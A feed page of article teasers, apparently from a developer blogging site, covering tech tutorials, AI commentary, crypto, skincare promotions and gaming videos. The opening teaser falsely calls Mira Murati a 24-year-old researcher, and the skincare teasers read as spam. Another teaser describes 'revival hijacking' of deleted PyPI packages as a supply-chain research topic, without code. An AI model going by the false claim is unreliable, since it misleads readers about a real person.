    This bold rejection reveals the fierce competition for AI talent and the evolving dynamics of recruitment in tech. In an unexpected turn of events, Mark Zuckerberg's ambitious recruitment efforts at Meta have faced a significant setback. Recently, a team led by 24-year-old AI researcher Mira Murati publicly rejected a staggering $1 billion job offer from Zuckerberg to join Meta's AI division. This incident not only highlights the challenges of attracting top talent in the competitive tech landscape but also raises questions about the strategies employed by major tech companies in recruiting skilled professionals. Mark Zuckerberg, the CEO of Meta, has been vocal about his commitment to advancing artificial intelligence technologies within his company. As Meta pivots towards a more AI-focuse…  ( 7 min )
    Brincando com Claude e o nascimento do "QuantoFoi"
    A História Por Trás da Ideia Eu e minha namorada sempre que vamos no mercado nunca lembramos o preço de quanto pagamos em algo e sempre nos perguntamos "quanto foi isso mesmo?" e nem sem lembramos ali na hora. Daí estava de bobeira em um sábado à tarde e resolvi testar o poder das AIs para tirar essa ideia do papel. No começo acabei testando o site mesmo (Claude na web) e já tive bons resultados, porém atingi o limite rápido depois da IA gerar muito código. Então resolvi pegar o plano PRO para um teste mais pesado, e as primeiras impressões foram bem positivas. Com apenas alguns inputs e nada muito complexo consegui chegar onde eu queria. Mesmo sendo um projeto bem simples, que é basicamente um CRUD, já deu para ver melhor o poder das IAs e onde sabe-se lá vamos chegar no futuro. Acho …  ( 7 min )
    Build Better Containers🐳
    🎯 Objectives Demonstrate how to containerize a backend application using Docker Highlight common pitfalls and best practices in Dockerfile creation Showcase multi-stage builds for leaner, production-ready images Implement secure containerization techniques (non-root users, minimal base images) Optimize build performance with caching and artifact strategies Ensure reproducibility and clarity for CI/CD integration Containerizing an application is often seen as a checkbox task—docker build, docker run, and you're done. But in production environments, bloated images, insecure defaults, and slow builds can lead to: Longer CI/CD cycles Vulnerability exposure Poor reproducibility across environments Optimizing your Dockerfile is not just a performance tweak—it's a security and reliability upg…  ( 16 min )
    Indicação de leitura: Microsserviços Prontos Para a Produção
    Trabalho como desenvolvedora de software há cerca de 3 anos, e nesse período tive bastante contato com a arquitetura de microsserviços. Contudo, percebo que a visão sistêmica das entregas realizadas só vem com o tempo e a vivência prática. No início da carreira, nosso foco tende a estar concentrado em entender o código, os frameworks e os bancos de dados. Com isso, ainda não temos maturidade suficiente para compreender a importância das padronizações relacionadas ao “pós-código”. Desta forma, gostaria de trazer a indicação de uma leitura abrangente que auxilia com uma visão sistêmica. O livro Microsserviços Prontos Para a Produção, de Susan J. Fowler, é uma leitura muito interessante para quem já tem alguma vivência com microsserviços, mas ainda busca entender o que pode ser melhorado for…  ( 7 min )
    Introducing kuzur.xyz — My Developer Portfolio & Projects Hub
    🚀 Introducing kuzur.xyz — My Developer Portfolio & Projects Hub In today’s fast-paced digital world, having a dedicated portfolio is essential for developers to showcase their work, connect with collaborators, and build credibility. That’s why I built kuzur.xyz — a sleek, performance-optimized, and mobile-friendly personal website that reflects my passion for web and app development. 🌐 What is kuzur.xyz? kuzur.xyz is my official developer portfolio and blog. It features: ✅ A clean and responsive design 💼 A showcase of my recent full-stack projects 🧠 Blog posts about development, security, and open-source tools 🛠️ Skills in React, Node.js, Firebase, JavaScript, Kotlin, and more Whether you're a developer, recruiter, or tech enthusiast, kuzur.xyz gives a clear snapshot of what I build and how I think as a creator. 📌 Why I Built kuzur.xyz As a self-driven developer from Bangladesh, I needed a place to: Demonstrate my real-world projects (like Chat RS) Share insights through blog articles Offer an easy way for clients or employers to contact me I chose a .xyz domain because it's developer-friendly, short, and flexible for global branding. 🔥 Featured Project: Chat RS One highlight on my site is Chat RS — a privacy-first messaging platform designed for developer collaboration. Built with Firebase, WebRTC, and vanilla JavaScript, it focuses on speed, security, and simplicity. You can read the full blog post about how I made it on my blog. 🔍 Tech Stack Frontend: HTML, CSS, React, Tailwind Backend: Node.js, Firebase, PostgreSQL Mobile: Java, Kotlin, React Native Dev Tools: Git, VS Code, Figma, Firebase Console My goal is to craft apps that are not just functional but intuitive, fast, and scalable. 🌍 Connect With Me If you’re hiring, collaborating, or simply curious about what I build — check out my site: 👉 Visit kuzur.xyz You’ll find my projects, blog posts, contact details, and even a few surprises. Feedback is always welcome!  ( 6 min )
    Echte Oreyka Erfahrungen: Tradition trifft Innovation in der Hautpflege
    Die Welt der Hautpflege entwickelt sich stetig weiter – doch wahre Wirksamkeit entsteht oft dort, wo alte Traditionen auf moderne Wissenschaft treffen. Genau hier positioniert sich Oreyka, eine Premium-Marke, die aktuell in ganz Europa für Aufsehen sorgt. Doch was steckt wirklich hinter dem Namen? Und wie lauten die echten Oreyka Erfahrungen von Kund*innen? Die Philosophie hinter Oreyka Dermatologisch getestete Formeln Kundenzufriedenheit als oberste Priorität Was sagen echte Nutzer über ihre Oreyka Erfahrung? Warum Oreyka überzeugt: Die perfekte Balance Vertrauen in ganz Europa Fazit: Oreyka ist Hautpflege mit Haltung Haben auch Sie bereits Oreyka Erfahrungen gemacht? Teilen Sie Ihre Meinung in den Kommentaren oder starten Sie noch heute Ihre eigene Pflege-Reise.  ( 6 min )
    AI vs Traditional Reporting: What’s Gained and What’s Lost?
    The world of equity research is evolving rapidly. Traditional reporting, once the backbone of investment research, is now being reimagined with the help of artificial intelligence. But as AI continues to reshape how we collect, process, and analyze financial data, it’s worth asking: what do we gain—and what might we lose? In this blog, we’ll explore the trade-offs between AI-powered systems and traditional analyst-driven reports, especially in the context of financial advisors, asset managers, wealth managers, and portfolio managers who rely on solid equity research reports for long-term decision-making. What We Gain with AI in Equity Research Speed and Scale Traditional analyst reports can take days or even weeks to compile. With equity research automation, AI systems can sift through tho…  ( 7 min )
    Revival Hijacking: How Deleted PyPI Packages Become Threats
    You can find the original version of this article on my website, protsenko.dev.  Hi guys, recently I continued researching malicious dependencies and dependency confusion. This article is inspired by the article from 2024 and raises again concerns about the safety of downloading packages from public repositories without additional controls. The pypi.org allows packages to be removed by author and package name, making them publicly available for registration by anyone. By registering formerly popular packages, attackers could gain many downloads of malicious libraries. This technique is called revival hijacking. In this article, I look for popular removed packages and exploit this vector to download many stub packages. Information about deleted and revived packages can be found in the dedic…  ( 9 min )
    Warum Oreyka in Europa überzeugt: Natürliche Inhaltsstoffe und echte Erfahrungen
    In einer Zeit, in der Konsumentinnen bewusster auf die Zusammensetzung ihrer Hautpflegeprodukte achten, gewinnen Marken, die Transparenz, Qualität und Wirksamkeit vereinen, zunehmend an Bedeutung. Eine dieser Marken ist Oreyka. Doch warum überzeugt Oreyka in Europa – und was sagen echte Kundinnen über ihre Oreyka Erfahrung? Oreyka: Eine Hautpflegemarke mit Vision Warum überzeugt Oreyka in Europa? Natürliche Inhaltsstoffe mit Wirkung In einer Welt voller synthetischer Formeln und aggressiver Wirkstoffe setzt Oreyka auf sanfte, natürliche Inhaltsstoffe, die wissenschaftlich validiert und hautfreundlich sind. Ohne Parabene, ohne unnötige Chemikalien – dafür mit dem Fokus auf reine, effektive Pflege. Echte Erfahrungen statt leere Versprechen Ein zentraler Grund, warum Oreyka in Europa so gut ankommt, sind die echten Erfahrungen von Kund*innen. Zahlreiche Rückmeldungen bestätigen sichtbare Hautverbesserungen – von mehr Feuchtigkeit über ein klareres Hautbild bis hin zu weniger Irritationen. Transparenz & Vertrauensaufbau Oreyka legt großen Wert auf Kundenzufriedenheit und ehrliche Kommunikation. Diese Transparenz sorgt für Vertrauen – ein Faktor, der auf dem europäischen Markt entscheidend ist. Stimmen aus der Community: Echte Oreyka Erfahrungen Fazit: Oreyka überzeugt – aus gutem Grund Neugierig geworden? Entdecken Sie selbst, warum so viele Menschen von ihrer Oreyka Erfahrung überzeugt sind – und starten Sie Ihre eigene Hautpflege-Reise.  ( 6 min )
    Mark Rober: Can You Safely Drink Your Own Pee?
    TeamWater: Clean Water for All This cheekily titled post isn’t about drinking pee—it’s a full-blown rallying cry to join #TeamWater, the MrBeast & Mark Rober–led crowdfunding drive aiming to raise \$40 million to provide clean water to 2 million people for decades. Every dollar = one year of clean water, and YouTube’s even matching the next \$2 million in donations! Big thanks to GivePower for powering the tech and to the music makers (Ponder, Laura Shigihara, Andrew Applepie, Blue Wednesday, Danijel Zambo) for the soundtrack. Head to https://teamwater.org/ and let’s help change lives—one drop at a time! Watch on YouTube  ( 5 min )
    IGN: Marvel Tokon: Fighting Souls - Hands-On Impressions | EVO 2025
    Marvel Tokon: Fighting Souls – Hands-On at EVO 2025 IGN’s Mitchell Saltzman and Will Borger went hands-on with Arc System Works’ newest fighter, Marvel Tokon: Fighting Souls, on PS5 at EVO 2025. Their early impressions highlight the game’s slick animations, high-octane combo potential and unmistakable Marvel style—making it one of the most promising new entries in the fighting genre. Watch on YouTube  ( 5 min )
    Exploring the Philosophical Impact of AI: ChatGPT's Influence on Human Thought
    Discover how AI like ChatGPT is reshaping our understanding of philosophy and enhancing critical thinking in everyday conversations. The emergence of advanced artificial intelligence (AI) systems like ChatGPT has sparked intriguing discussions about the implications of these technologies on human cognition and creativity. One Reddit user recently expressed a sentiment that resonates with many: "ChatGPT makes you feel like the deepest philosopher that ever lived." This statement encapsulates a growing phenomenon where AI not only assists in generating ideas but also influences the way individuals engage with complex philosophical concepts and critical thinking. ChatGPT, developed by OpenAI, is a language model that utilizes deep learning techniques to generate human-like text based on the i…  ( 7 min )
    Setup ESLint and Prettier in Nuxt 4
    In this post, I’ll show you how to use ESLint and Prettier in a Nuxt 4 project, step by step. Follow the @nuxt/eslint documentation if you want more details. Run this command in your project: npx nuxi module add eslint If you’re using TypeScript, make sure to install it too: npm install -D typescript After this, you’ll see: The @nuxt/eslint module added in your nuxt.config.ts. A new eslint.config.mjs file generated for you. // @ts-check import withNuxt from './.nuxt/eslint.config.mjs' export default withNuxt( // Add your custom ESLint config here ) Install the dependencies: npm install -D prettier eslint-config-prettier eslint-plugin-prettier Create a .prettierrc file at the root of your project. Example config: { "semi": false, "singleQuote": true, "tabWidth": 2, "trailingComma": "none", "printWidth": 100 } Then update your eslint.config.mjs to use the Prettier plugin: // @ts-check import withNuxt from './.nuxt/eslint.config.mjs' import eslintPluginPrettierRecommended from 'eslint-plugin-prettier/recommended' export default withNuxt([eslintPluginPrettierRecommended]) Add some scripts in your package.json to make it easy to lint and format your code with one command. { "scripts": { "lint": "eslint .", "lint:fix": "eslint . --fix", "format": "prettier --check .", "format:fix": "prettier --write ." } } To make ESLint and Prettier work properly, set up your editor (like VS Code) with the right settings. Install the ESLint and Prettier extensions, and enable format on save to keep your files clean automatically. If you’re using VS Code, you can create a .vscode/settings.json file like this: { "editor.defaultFormatter": "esbenp.prettier-vscode", "editor.formatOnSave": true } Now your Nuxt 4 project has ESLint and Prettier to keep your code clean and consistent. GitHub Repo Thanks for reading! 👋  ( 6 min )
    Building a Full-Stack Chatbot with Next.js + Supabase
    Over the last few days, I’ve been working on a full-stack chatbot project to sharpen my Next.js and Supabase skills, and I finally shipped it! Next.js (App Router) for frontend + server logic Supabase Auth to manage secure user sessions Tailwind CSS for responsive design API Routes to handle real-time chat flow 💬 Key Features: Secure login/signup to maintain private chats Fully responsive chat UI (works great on mobile) Session management, loading indicators, and auth flows Built entirely from scratch, no template It’s a solid foundation, and next up is adding AI capabilities to make the chatbot truly conversational. Live Demo: https:https://chatbot-01-theta.vercel.app/login Would love to hear your thoughts or suggestions. #NextJS #Chatbot #Supabase #TailwindCSS #FullStackDev #FrontendEngineer #UmairArshadDev #BuildInPublic  ( 5 min )
    AI and Staking: Optimizing Validator Performance in 2025
    Key Points of the Article AI Integration in Staking: AI enhances validator uptime by 3.5% through predictive analytics and resource allocation, revolutionizing PoS networks. Market Growth: Staking TVL exceeds $60 billion in 2025, with Ethereum leading at 33.8 million ETH staked, representing 27.6% of supply. Top Platforms: Coinbase, Binance.US, and Kraken dominate, offering AI-optimized tools for higher yields and security. New Projects: Initiatives like StaFi and BSTR Miner incorporate AI for smarter staking, focusing on DeFi and ESG rewards. Future Outlook: Projected CAGR of 15.98% drives market to $2.3 billion by 2033, emphasizing sustainable, AI-driven optimization. Dive into the synergy where artificial intelligence meets blockchain's core security mechanism, transforming staking from…  ( 7 min )
    Scoring 100 on Lighthouse (Performance focused)
    “Why aim for 100? Because Google loves fast websites more than devs love dark mode.” If you also stared at a Lighthouse score of 28 and thought “what kind of shit I had written”, this post is for you. Lighthouse is Google’s brutally honest friend. It audits your site for: Performance SEO Accessibility Best Practices PWA readiness Chrome DevTools Right-click → Inspect → Lighthouse tab → Click “Analyze” Remove unused libraries/imports. Split JS using React.lazy() or next/dynamic Avoid unnecessary animations on load Implement session based caching for less frquently updated data. // import specific parts // bad practice- import radixui from "radix-ui" // good practice import Switch from "@radixui/switch" For manual treeshaking in nextjs- ANALYZE=true npm run build Bigger co…  ( 6 min )
    Symfony Station Communiqué - Stardate: ✦ 25 July 2025 ✦: The Latest Symfony, Drupal, TYPO3, and PHP News!
    Welcome to this week's Symfony Station communiqué. It's your review of the essential news in the Symfony and PHP development communities focusing on protecting democracy. There's good content in all of our categories, so please take your time and enjoy the items most relevant and valuable to you. This is why we publish on Fridays. So you can savor it over your weekend. My opinions will be in bold. And will often involve cursing. Because humans. Especially tech bros. Fuck 'em! I also go on a Drupal rant, so fair warning. Symfony As always, we will start with the official news from Symfony. This week, development focused on the upcoming Symfony 7.4 and 8.0 releases. We added new features such as the ObjectMapperAwareInterface, improved value transformers in JsonStreamer, and enabled loading …  ( 9 min )
    [Boost]
    How we reduced 99.6% in load time of a Tableau Workbook with 112 million string Calcs? Dipti M ・ Aug 1  ( 5 min )
    Join Softek: Build Bold Projects, Earn Equity
    👩🏾‍💻 Softek Is Hiring Open Source Developers – Equity Offered 💼 Softek is calling on passionate, fast-moving developers who want to build real products and earn equity in Africa’s next digital powerhouse. We’re actively building the following projects: Lantasy eBook – A smart eBook platform for immersive learning(https://lnkd.in/g3Wzgq-A) Browsty – Real-time classroom tools 🔗 Link FaceTrack – CCTV attendance + intruder alerts Fashion AI – Personalized fashion recommender (in progress) Who We’re Looking For: Full-stack devs (Django, JS, Docker) WebRTC/HLS/FFmpeg engineers AI/NLP and CV specialists OSS contributors who build fast & clean What You’ll Get: Equity in any project you help build Co-founder status for standout work Long-term access to the Softek roadmap Future paid roles as we scale Send us your GitHub, past work, or intro. We value: Discipline Speed Curiosity Impact Build for equity. Build for mastery. Build Softek. Apply here: techkid3692@gmail.com #Softek #DeveloperCall #OpenSourceAfrica #EquityForCode #StartupHiring #TechWithPurpose #JoinSoftek  ( 5 min )
    javascript30 journey - day 1
    The first lesson on Javascript30 is building a drum kit, its a really fun project, here's a summary of how it works. First we need to created nine(9) divs to represent all the sounds present. The sounds are all different, each div represents a sound, to actually play the sound we need to create 9 audio elements. One important thing in the div elements is the addition of custom attribute using the 'data-' attribute . In this project we added the KeyboardEvent.code value of every letter as an attribute to it. After creating the all HTML elements and styling with CSS, the major task is the functionality: for the Javascript code, three(3) main functions are needed: The first function is the playsound function. The second is the addTransition function. Then the removeTransition function. The playSound function will be a callback function in the keydown event listener. The addTransition function adds the class "playing" to any div that was clicked to give it that nice quick bouncy transition. The removeTransition function as the name states removes the transition on any clicked element by removing the class "playing". Its passed as a callback function to the "transitionend" event listener. After creating all three(3) functions we'll create the keydown event which calls the playsound function . that's all guys, you've successfully created a drumkit. wesbos for creating such an amazing resource. javascript30 to join me in sharpening your javascript skills. ✌️  ( 6 min )
    Is the Metaverse Dead? Why 2025 Marks a Sustainable Growth Phase
    Key Points of the Article Market Resilience: Despite hype fatigue, the metaverse market surges to $1.27 trillion in 2025, signaling maturation over speculation. Evolving Narratives: From failed promises to practical integrations in gaming, work, and education, proving the concept's quiet revival. Key Projects: Platforms like Somnium Space and Axie Infinity drive innovation, with upcoming ventures focusing on AI and interoperability. User Engagement Stats: Over 700 million monthly active users highlight sustained interest, bolstered by VR/AR advancements. Future Outlook: A projected 46.4% CAGR to 2030 underscores sustainable growth, emphasizing utility and community building. Whispers of demise echo through digital corridors, yet beneath the surface, a vibrant ecosystem pulses with renewed …  ( 7 min )
    Can everyone post the four best pictures they've ever generated
    Explore how AI-driven image generation empowers creators to produce stunning visuals and reshape the art landscape. In the rapidly evolving landscape of artificial intelligence (AI) and generative art, the ability to create stunning visual content through advanced prompting techniques has become a hot topic among enthusiasts and professionals alike. A recent Reddit post sparked a conversation about the best images generated using these techniques, inviting users to showcase their top creations. This article delves into the significance of image generation through AI, the methodologies behind effective prompting, and the implications of this technology in various fields. The advent of AI technologies, particularly in the realm of image generation, has transformed how artists and designers a…  ( 7 min )
    3 Ways To Create Middleware In ASP.NET Core
    Middleware allows us to introduce additional logic before or after executing an HTTP request. You are already using many of the built-in middleware available in the framework. I'm going to show you three approaches to how you can define custom middleware: Check this out 3 Ways To Create Middleware In ASP.NET Core | by Secret Dev | Aug, 2025 | Medium In this article, we’ll be covering three ways to create middleware in ASP.NET Core applications. secret-dev.medium.com  ( 5 min )
    Semantic / AI EAI Platform Proposal
    Hi. I’d like to share some thoughts regarding what could be a Semantic / AI enabled Business Integration / Enterprise Application Integration platform. I’m currently looking for advice on the frameworks, techniques and patterns used for the implementation. Particularly in a custom way to encode embeddings, enabling GenAI / MCP custom interactions. Application Service SRS Draft Implementation Roadmap: Original document: https://github.com/sebxama/sebxama/raw/refs/heads/main/ApplicationService.pdf Implementation Roadmap (Work In Progress, needs cleanup): https://github.com/sebxama/sebxama/raw/refs/heads/main/RoadmapDetail1.4.pdf https://github.com/sebxama/sebxama/raw/refs/heads/main/RoadmapDetail3.0.pdf https://github.com/sebxama/sebxama/raw/refs/heads/main/RoadmapDetail3.1.pdf https://github.com/sebxama/sebxama/raw/refs/heads/main/RoadmapDetail3.2.pdf Thanks in advance, https://sebxama.blogspot.com https://github.com/sebxama/sebxama  ( 5 min )
    Is this guy using Chat GPT to talk to me?!
    Exploring how conversational AI blurs the lines of human interaction and reshapes our everyday communication experiences. The emergence of artificial intelligence (AI) technologies, particularly conversational agents like ChatGPT, has sparked a myriad of discussions about their implications in everyday communication. A recent Reddit post raises a compelling question: "Is this guy using Chat GPT to talk to me?!" This inquiry not only reflects a growing curiosity about AI's role in personal interactions but also highlights the broader societal implications of AI in communication. Conversational AI refers to technologies that enable machines to engage in dialogue with humans. This includes chatbots and virtual assistants that can understand and respond to natural language. ChatGPT, developed…  ( 7 min )
    I asked Chat to show me what my cat would look like as a person.
    Discover how AI transforms our creative ideas into visual art, bringing our beloved pets to life in unexpected ways. In a fascinating intersection of technology and creativity, a Reddit user recently shared an amusing experience where they asked an AI chatbot to visualize what their beloved cat would look like as a human. This playful inquiry not only highlights the capabilities of artificial intelligence in generating images but also reflects broader trends in how we engage with technology to enhance our personal lives and express our creativity. Artificial intelligence, particularly in the realm of image generation, has made significant strides in recent years. Tools like DALL-E and Midjourney utilize advanced algorithms to create images based on textual prompts. These AI systems are tr…  ( 7 min )
    [Boost]
    Comprehensive Tutorial on Data Importing in R Dipti M ・ Jun 17 #ai #datascience #analytics #programming  ( 5 min )
    🚀 I finally built my first project on Electron Js: A Draggable Floating Webcam for Creators.
    Recently, I started a new job where one of the requirements was working with Electron.js — a framework I hadn’t touched before. Coming from a web development background (React, TypeScript, etc.), the idea of building desktop apps with web technologies felt both exciting and a bit daunting. To speed up my learning and get comfortable with Electron’s ecosystem, I decided to build a side project: a floating, draggable webcam overlay for creators. 🎥Floating Webcam — A Lightweight Camera Overlay App If you’ve ever recorded tutorials, walkthroughs, or gameplay, you know how tedious it can be to position and overlay your webcam footage during post-production. I wanted to eliminate that step entirely. So I built Floating Webcam, a minimal desktop tool that lets you keep your webcam feed on top …  ( 7 min )
    Serverless Cost Tracker – Stay Alert. Stay Efficient.
    One Lambda function. Logs AWS cost logs daily and gives instant alerts. With Beautiful Dashboards. Serverless Cost Intelligence —a project I built from scratch using Serverless AWS tools to automate cost tracking like never before. Alright, enough with the theory; let's build this intelligence system from scratch. Even a beginner can follow these instructions. I have attached screenshots for everything we are going to build. 🚀 Tech Stack & AWS Services Used AWS Lambda – For running backend logic to fetch cost data automatically Amazon CloudWatch Logs – To log the cost data and debug if needed AWS Cost Explorer API – To fetch cost and usage details programmatically Amazon SNS – For optional cost alerts/notifications Amazon S3 – For storing logs or future data exports Amazon EventBridge – T…  ( 10 min )
    Document Your JavaScript Code Like a Pro with JSDoc
    In modern JavaScript development, clear inline documentation is essential. JSDoc provides a structured approach to annotating code which greatly improves maintainability and understanding. By using JSDoc comments (/** ... */), we can describe each function’s purpose, inputs, and outputs. Below, we define common data types and document key functions (with @param, @returns, and @example tags) so that developers can easily understand how the blog app works. /** * @typedef {Object} Post * @property {string} id - Unique identifier of the post. * @property {string} title - The title of the post. * @property {string} content - Full content of the post. * @property {string} author - The author of the post. * @property {Date} createdAt - Timestamp of when the post was created. * @property …  ( 11 min )
    Repocks: Enable RAG from In-Repo Documentation
    Background: The Rise of “Context Engineering” Recently, Vibe Coding has been gaining traction, popularizing a development experience centered around AI assistants. In this workflow, it's common to consolidate prompt instructions and development guidelines into a CLAUDE.md or similar file, which is then read by the AI model. As a result, feeding information effectively to AI has become increasingly important. A new concept called Context Engineering is emerging as a successor to Prompt Engineering: However, this approach has its challenges. Bundling all critical project knowledge into a CLAUDE.md file can quickly exceed the model's context window and lead to degraded output quality. To solve this, I wondered if it would be possible to build a lightweight, project-local RAG (Retrieval-Augm…  ( 7 min )
    The AI Revolution Isn't Just Text: 3 Game-Changing Trends to Watch in 2025
    We've all been amazed by ChatGPT and Midjourney, but the future of AI is evolving at lightning speed. Here’s a look at what's coming next. Hey everyone, and welcome to my first blog post! If you're in tech, your world has probably been turned upside down by AI in the last couple of years. We've gone from simple chatbots to powerful Large Language Models (LLMs) that can write code, essays, and poetry. But if you think that's the peak, you're in for a surprise. The real revolution is just getting started. Let's look beyond the hype and explore three mind-blowing AI trends that are shaping our future right now in 2025. What it is: For a long time, AI models were specialists. One understood text, another understood images. Multimodal AI breaks down those walls. These are single models that can…  ( 7 min )
    Unlocking Quantitative Analysis using Python
    We recognise that programming is crucial for automating calculations, managing large datasets, and developing models. Python is a great starting language due to its simplicity and powerful libraries, such as NumPy for numerical computations, Pandas for data manipulation, and Matplotlib for visualisation. So why don’t we check out how they work together? As a problem solver, we know a few things like Basic Statistical Analysis (like calculating Mean and Standard Deviation): import numpy as np returns = [0.01, -0.02, 0.03, 0.015, -0.005] mean_return = np.mean(returns) print(f"Mean Return: {mean_return:.4f}") std_dev = np.std(returns) print(f"Standard Deviation: {std_dev:.4f}") Or maybe consider a situation like using a CSV file: import pandas as pd data = pd.read_csv('stock_data.csv', par…  ( 7 min )
    How I Built an AI System That Actually Measures Developer Impact (And Nearly Lost My Mind)
    Table of Contents The Embarrassing Origin Story What This Thing Actually Does The Architecture (Where Things Got Messy) The Stupid Bugs That Cost Me Days Real Numbers From My Own Usage The Meta Part That Blows My Mind Code That Actually Ships Lessons I Learned The Hard Way What's Next? The Real Talk Look, I'm gonna be honest with you. I was tired of bullshitting my way through interviews. You know the drill. They ask "What impact did you have at your last company?" and you mumble something about "improving system performance" or "enhancing code quality." Meanwhile, the hiring manager's eyes glaze over because they've heard this exact same answer from the last 50 candidates. I needed real numbers. Not the made-up "40% performance improvement" crap we all put on our resumes. I wanted to s…  ( 14 min )
    Did my mother use ChatGPT to write me a text of support on the morning of my divorce?
    Exploring how AI tools like ChatGPT are reshaping emotional support and communication in our personal lives. In recent years, the rise of artificial intelligence (AI) tools like ChatGPT has sparked discussions about their applications in various personal and professional contexts. A recent Reddit post raised an intriguing question: Did a mother use ChatGPT to craft a supportive message for her child on the morning of their divorce? This scenario not only highlights the growing integration of AI in everyday communication but also invites a deeper examination of the implications surrounding emotional support and authenticity in the digital age. AI tools have become increasingly sophisticated, capable of generating text that mimics human writing styles. ChatGPT, developed by OpenAI, is one su…  ( 7 min )
    StackDAG Beta - Week 1 Update (August 2, 2025)
    It’s been one week since StackDAG launched into public beta. Thanks to everyone who’s tried it out and shared feedback so far. Here’s what’s new in Week 1: Fresh Homepage Look - The homepage has been redesigned to better communicate what StackDAG is and how to get started quickly. Security Fixes - A few early security issues were patched. If you ever notice anything off or potentially vulnerable, please don’t hesitate to reach out, as early feedback is incredibly helpful. Custom Node Titles & Descriptions - You can now name and describe individual components within your DAGs, making it easier to organize and document your stacks. New Suggested Component - Railway has been added as a recommended component. You can now include it when building your backend stack. You can recommend even more components or DAG templates if you wish! That’s the power of beta. Bug Fixes & UI Improvements - Thanks to user reports, several minor bugs and UI inconsistencies were resolved. Join the Beta: If you're interested in helping shape the future of StackDAG, now’s the time. You can join the beta at: https://stackdag.pages.dev We also have an active Discord where updates are shared and ideas are discussed: https://discord.gg/VqwqHmg5fn During the beta, all accounts get marked as early testers and will receive early access to upcoming premium features. Thanks again to everyone who's been testing and sharing feedback. More updates are coming soon!  ( 5 min )
    Celebrating Creativity: Odeta Rose at Miami Art Week
    Odeta Rose, renowned for her work across visual art, fashion, literature, and cultural innovation, was a standout presence at Miami Art Week. With a uniquely integrative approach to creativity, she unveiled a new body of work that drew crowds and critical acclaim alike. Her presence underscored not just her artistic prowess but also her role as a cultural ambassador for boundary-breaking expression.  ( 5 min )
    The Game Theorists: Game Theory: FNAF, How to STOP the Mimic... For Good!
    Game Theory dives into Five Nights at Freddy’s: Secret of the Mimic to uncover how Sun and Moon are tied to the Mimic—and finally reveals the hidden symbolism in mini-games, a creepy lullaby, and the original animatronic suit that’ll show you the only way to stop the Mimic… for good. Watch on YouTube  ( 5 min )
    Redis AI Trading Assistant: Real-Time Market Intelligence with Human-Controlled Execution
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. I built an AI-powered Trading Assistant that revolutionizes financial market analysis by combining artificial intelligence with human decision-making. The system leverages Redis 8's real-time capabilities to provide intelligent market screening, pattern detection, and trading suggestions while maintaining complete human control over execution. 🧠 AI Market Screener Simultaneously analyzes 10+ trading pairs across multiple timeframes AI-calculated priority scores based on technical indicators and market conditions Natural language explanations of market opportunities and risks Automatic identification and ranking of the most promising trading setups ⚡ Real-Time Signal Generation Advanced pattern detection: RSI diverge…  ( 8 min )
    Hungover But Still Showed Up #27
    Servus and welcome to Day 27 of building my CRM. Gotta be honest: Today I was pretty hungover – not my most productive state. No big progress to share. But I’m still posting. Because consistency > perfection. Sometimes it's okay to slow down — as long as you keep going. Tomorrow I’ll jump right back into the grind. 🙌 Thanks for sticking with me! **Jonathan (0xj0n1)  ( 5 min )
    Dependency Injection in the JavaScript Ecosystem: Challenges and Benefits
    Have you ever found yourself knee‑deep in a JavaScript app, following a trail of require() calls like breadcrumbs to figure out how everything fits together? One module imports another, that module reaches for a global, and before long you’re chasing references across half your codebase just to test a single component. It’s like cooking a dish where every ingredient is hidden in a different cupboard—you waste half your time hunting instead of actually cooking. That’s precisely the problem dependency injection tries to solve: instead of each class foraging for its own ingredients, you tell a central kitchen what you need, and it hands you the ingredients on a silver platter. The idea isn’t new. In fact, languages like Java and C# bake dependency injection (DI) into their frameworks. Service…  ( 9 min )
    JavaScript на български и с много изрази
    Когато сте въвеждали текст на български език ползвайки кирилска клавиатурна подредба като БДС или фонетична, то навярно сте забелязали, че с тези подредби не може да се въвеждат някои символи като квадратни и къдрави скоби ([] и {}). Разбира се това не е пречка да се ползват кирилските клавиатурни подредби. Неудобство е обаче, ако искате да програмирате на JavaScript ползвайки подобна подредба. Някои биха отбелязали, че не само липсата на квадратни и къдрави скоби би представлявала трудност да се програмира на JavaScript ползвайки Кирилица. Всички ключови думи в този език като function и var са на английски и изискват латински букви за въвеждането им. В този блог пост ще се опитам да разгледам възможно ли е да се програмира на JavaScript без да се превключва на английска клавиатурна подред…  ( 12 min )
    Designing Viral UX/UI That Spreads Itself
    A great product doesn’t just work—it spreads like wildfire. thoughtful UX/UI design. When done right, your design can spark word‑of‑mouth, social shares, and organic growth without spending huge on ads. Here’s a quick look at the core ideas: 1. Focus on One Big Problem Don’t try to do everything at once. Solve your audience’s biggest pain point first. 2. Design for Emotion People share what makes them feel something—joy, surprise, awe, or inspiration. 3. Keep It Simple & Relatable The most viral products (Instagram, Pinterest) started with a single, clear purpose. 4. Add Delight & Fun A playful element—animations, micro‑interactions, or quirky features—makes your product more memorable. 5. Make Sharing Effortless Seamless social integrations and rewarding referrals turn users into promoters. 💡 Bottom line: 📖 Read the full in‑depth guide here: Designing Viral UX/UI That Sells Itself #UXDesign #UIDesign #ProductDesign #Virality #UIUX  ( 5 min )
    Verizon is upping its fees again
    As Verizon raises fees again, customers face new challenges in an already strained financial landscape. Verizon Communications Inc. has announced yet another increase in its customer fees, raising concerns among subscribers who may already be feeling the financial strain of rising costs in various sectors. This fee hike comes despite the company’s previous commitment to a three-year price lock announced in April 2023, which was intended to provide customers with some stability in their billing. As reported, the majority of Verizon customers will see an increase of less than 30 cents, but the implications of this decision extend beyond mere cents and into the broader context of customer satisfaction and market competition in the telecommunications industry. Verizon's fee increase is part of…  ( 7 min )
    Add AI features to your application with Genkit
    This article is adapted from my session at Google Developer Group's Build With AI event in the University of Ibadan where I introduced attendees to Genkit and talked on some of the possibilities of building with Genkit. In this article we talk about the following: What is Genkit? Getting Started Workflows Developer UI Tool Calling and RAG Deployments Real Life Challenge For You To Try Genkit is an open source framework that allows developers to build AI powered applications. It does this by providing developers an SDK complete with testing and debugging tools that empowers you to interact with any AI model from supported providers. Typically to use ChatGPT in your application, you would have to read through the relevant documentation, create an api key, and connect to the relevant endpoint…  ( 11 min )
    API Security with Access Control: Best Practices for a Safer Backend
